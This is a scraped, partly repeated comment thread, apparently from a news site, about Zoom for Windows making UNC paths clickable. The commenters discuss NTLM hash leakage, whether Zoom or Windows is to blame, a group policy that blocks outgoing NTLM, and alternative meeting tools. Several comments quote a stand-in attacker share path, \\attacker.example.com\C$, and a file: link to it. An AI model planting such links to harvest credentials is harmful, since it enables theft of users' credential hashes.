Zoom for Windows converts network locations into clickable links. What could go wrong?
Read the whole story
Read the whole story
...or because you're using SMB to make your 40TB media collection available on your local network.The events of the past month have left millions of people working from home without the same levels of IT and security support they get when working on premises. That makes it more likely that port 445 is open, either because of an oversight or because the port is needed to connect to enterprise resources.
No, this is definitely on Zoom. When an application tells Windows that a user wants to open a given link, it has to open. The problem is that Zoom is creating links based on data from untrustworthy sources. Compare that to what happens if your email client gets a suspect mail and disables links in the message so that users cannot accidentally click on them.It's Zoom that tells Windows to open the link. Windows sends the credentials to log in.Sorry, I understand the problem, but I don't understand the fix. Is Zoom sending credentials when it doesn't have to? Or is Windows Explorer sending credentials whenever you click one of these links?
Zoom should not be linking these in the first place. That would be the easiest and fasted fix. Maybe someone can explain because I'm uncertain why Zoom even allows linking Windows paths?
But maybe Windows should always ask before connecting to a new (unknown) server. Mind you it can be hard to stop people automatically clicking "allow".
Ultimately the fix is that NTLM is completely removed. Microsoft strongly recommends against its use but it's needed for compatibility with older services.
What I don't understand is why Windows would send the credentials to Zoom, rather than just open the path in Explorer. This sounds like a Windows problem more than a Zoom problem.
This is evidently a Microsoft Windows flaw.
It appears to be reported along the same lines as: the Tech Industry built insecure products, so let's train users to not click links.
Fix Windows so it doesn't send credentials to random SMB servers on the internet that bear no relation to the host's domain, and using an insecure protocol to boot.
Sheesh!
PS. Would love to hear of a viable alternative.
Work has Skype for Business. It doesn't work because the VPN is being hammered at the moment and it was constantly dropping out. This has put people off using free Skype.
Hangouts has had endless problems for us in the past so, again, people are reluctant to use it now. Plus, Google. So, meh.
FaceTime isn't cross-platform so the handful of non-Mac users can't be included.
So, other than Zoom, what's cross-platform and cross device (desktop/tablet/phone) that works?
universal naming convention strings—such as //attacker.example.com/C$
I've used zoom when needing enterprise support on a firewall for a couple years now. We liked it so much we started using it for support as well.
Compared to other products it has similar features, costs less and works more reliably.
Zoom has gotten a lot of attention and a lot more testing here recently so it would only be expected that we find all of these problems. Ultimately it's a good thing as long as they actively participate in resolving the issues.
EVERY other meeting/remote support software has had many exploits over time. So often it's a quick headline, we update software and it's done. Gotomeeting, Webex and I'm sure it's actual every other option have all had remote control exploits via browser plugins and other various goofs. I think it's great that we fix Zoom as a group but not so great that we act like this is a one company problem. IT Security is too lax everywhere, not just in one product!
I’ve had zoom forced on me in the last couple of months, along with 5 other teleconference platforms.
Zoom is the only one that has caused problems.
I've had the opposite. Out of Skype, Hangouts, and Zoom, Zoom has had the least issues (video, audio, freezing, etc...).
My only experience is signal is pretty poor, compared to Skype, WhatsApp or duo. But it works. They need to let you be able to move video windows better.I’ve had zoom forced on me in the last couple of months, along with 5 other teleconference platforms.
Zoom is the only one that has caused problems.
I've had the opposite. Out of Skype, Hangouts, and Zoom, Zoom has had the least issues (video, audio, freezing, etc...).
That's interesting - I haven't used Skype or Hangouts.
I've used MS Teams, Cisco WebEx, Signal, and HireVue for video conferencing. Some parts of my company use Slack as well. I haven't happened to need it recently, but was nice the last time I did. Zoom has worked OK, but has been a security nightmare. In terms of raw functionality in my experience, it's probably not as good as Teams or WebEx and better than the others.
HireVue probably had the lowest performance. Signal doesn't offer enterprise videoconference features like screen sharing since that's not its target market. WebEx and Teams seem to be the most robust of the lot. This crisis is the first time I've used Teams, and I have to say, I'm really impressed with it.
The Windows API converts forwards slashes to backslashes by default. It doesn't really matter what the share name is.universal naming convention strings—such as //attacker.example.com/C$
Why forward slashes and the (hidden-administrative-share-indicating) dollar sign in the example? UNC paths standardly use backslashes, and the malicious link thing here doesn't generally require a dollar sign.
Does Zoom on Windows allow links to be interpreted as UNC paths even with forward slashes?
Zoom is a pain to use.
Zoom is a pain to use.
Have you ever tried WebEx? Zoom is rainbows and unicorns compared to that shitshow.
And April's off to a great start.
I don't see how Zoom got so much good faith in the past few weeks after their last little security shitstorm with the hidden web server.
universal naming convention strings—such as //attacker.example.com/C$
Why forward slashes and the (hidden-administrative-share-indicating) dollar sign in the example? UNC paths standardly use backslashes, and the malicious link thing here doesn't generally require a dollar sign.
Does Zoom on Windows allow links to be interpreted as UNC paths even with forward slashes?
In that case you'll also want to change the `/C$` to `\C$` for the sake of consistency.universal naming convention strings—such as //attacker.example.com/C$
Why forward slashes and the (hidden-administrative-share-indicating) dollar sign in the example? UNC paths standardly use backslashes, and the malicious link thing here doesn't generally require a dollar sign.
Does Zoom on Windows allow links to be interpreted as UNC paths even with forward slashes?
Apologies. That was a typo on my part. I have updated to change it to \\attacker.example.com/C$
It doesn't send the credentials to Zoom. What happens is:What I don't understand is why Windows would send the credentials to Zoom, rather than just open the path in Explorer. This sounds like a Windows problem more than a Zoom problem.
1. Zoom asks Windows to open the link "\\attacker.example.com\C$".
2. Windows dutifully connects to "attacker.example.com" and attempts to login.
And April's off to a great start.
I don't see how Zoom got so much good faith in the past few weeks after their last little security shitstorm with the hidden web server.
PS. Would love to hear of a viable alternative.
Work has Skype for Business. It doesn't work because the VPN is being hammered at the moment and it was constantly dropping out. This has put people off using free Skype.
Hangouts has had endless problems for us in the past so, again, people are reluctant to use it now. Plus, Google. So, meh.
FaceTime isn't cross-platform so the handful of non-Mac users can't be included.
So, other than Zoom, what's cross-platform and cross device (desktop/tablet/phone) that works?
Teams? Am I missing something?
Zoom may not actually be malicious, but they clearly place security and privacy way, way behind making the experience quick & easy for user.
The "more user interactions" could do with some explanation. Does that mean it prompts the user before connecting? What does that look like?Per InfoSec Twitter, this was reproduced on macOS: https://twitter.com/SymbianSyMoh/status ... 3932922881
It doesn't send the credentials to Zoom. What happens is:What I don't understand is why Windows would send the credentials to Zoom, rather than just open the path in Explorer. This sounds like a Windows problem more than a Zoom problem.
1. Zoom asks Windows to open the link "\\attacker.example.com\C$".
2. Windows dutifully connects to "attacker.example.com" and attempts to login.
And for the folks wondering why they might linkify those, well... because it's useful. Otherwise, people need to copy the link and paste it into Run or Explorer directly. Outlook lets you do the same thing.
Yeah, NTLM authentication isn't ideal, but that's not really the fault of the folks that made the filepath clickable.
For better or worse, in Windows, today, it's up to the user to not make an SMB connection to an untrusted server. When you connect to an SMB server, the server's going to get a hashed copy of your creds.
If you don't want to send outgoing NTLM auths, there's a security policy for that: Network Security: Restrict NTLM: Outgoing NTLM traffic to remote servers (Computer Configuration\Windows Settings\Security Settings\Local Policies\Security Options)
The policy allows you to block all outgoing NTLM auth attempts, or to provide a list of allowed servers.
PS. Would love to hear of a viable alternative.
Work has Skype for Business. It doesn't work because the VPN is being hammered at the moment and it was constantly dropping out. This has put people off using free Skype.
Hangouts has had endless problems for us in the past so, again, people are reluctant to use it now. Plus, Google. So, meh.
FaceTime isn't cross-platform so the handful of non-Mac users can't be included.
So, other than Zoom, what's cross-platform and cross device (desktop/tablet/phone) that works?
This is evidently a Microsoft Windows flaw.
It appears to be reported along the same lines as: the Tech Industry built insecure products, so let's train users to not click links.
Fix Windows so it doesn't send credentials to random SMB servers on the internet that bear no relation to the host's domain, and using an insecure protocol to boot.
Sheesh!
It's also a Zoom flaw. There is very little upside to turning UNC paths in to clickable links, and this risk is both clear and well-known. This is yet another risk/reward trade-off that Zoom has made in favor of 'more risk'.
How's that everyone's experience differs so wildly with these products? One man's junk is another man's treasure, I suppose.I’ve had zoom forced on me in the last couple of months, along with 5 other teleconference platforms.
Zoom is the only one that has caused problems.
I've had the opposite. Out of Skype, Hangouts, and Zoom, Zoom has had the least issues (video, audio, freezing, etc...).
That's interesting - I haven't used Skype or Hangouts.
I've used MS Teams, Cisco WebEx, Signal, and HireVue for video conferencing. Some parts of my company use Slack as well. I haven't happened to need it recently, but was nice the last time I did. Zoom has worked OK, but has been a security nightmare. In terms of raw functionality in my experience, it's probably not as good as Teams or WebEx and better than the others.
HireVue probably had the lowest performance. Signal doesn't offer enterprise videoconference features like screen sharing since that's not its target market. WebEx and Teams seem to be the most robust of the lot. This crisis is the first time I've used Teams, and I have to say, I'm really impressed with it.
You don't need Zoom or anything like it for K-12.
My brother here in NY teaches in HS, and the students must access/download a lesson and other resources and do the work and submit back some material. If students need more, there is this thing called a phone.
According to my brother, things are going fine, and other teachers in the family at other districts and differing grade-levels are doing the same.
Yes, it is different and the teachers had to come up with thing that would not require your typical lecture, but it is working and no one has opened themselves up to lesser security than the online-resources that already existed.
Really, I guess if your school had nothing online these video conference classes could be a nice, temporary fallback, but if the lion's share of teachers doing virtual classrooms with 20+ video feeds using some untested but "easy to use" software is lazy, dangerous and shortsighted. Of course, you could also just email stuff to parents and handle things that way.
This is evidently a Microsoft Windows flaw.
It appears to be reported along the same lines as: the Tech Industry built insecure products, so let's train users to not click links.
Fix Windows so it doesn't send credentials to random SMB servers on the internet that bear no relation to the host's domain, and using an insecure protocol to boot.
Sheesh!
It's also a Zoom flaw. There is very little upside to turning UNC paths in to clickable links, and this risk is both clear and well-known. This is yet another risk/reward trade-off that Zoom has made in favor of 'more risk'.
Port 445 is closed by default in Windows Firewall. Does installing Zoom open it?
\attacker.example.com\c$ that will do the same on a web page.Something doesn't make sense here. IF this works, the hole is in Windows.
If I click a link to \\attacker.example.com\c$ the expectation is Windows will see attacker.example.com != my local machine, and prompt me to supply a username and password to log into it (assuming guest credentials fail).
Now many, many users will get confused and supply their username and password at the login prompt.. But that is not the same as it being sent as soon as you click the link. If it IS doing that, that is a pretty big hole in windows. I can make links to file:\attacker.example.com\c$ that will do the same on a web page.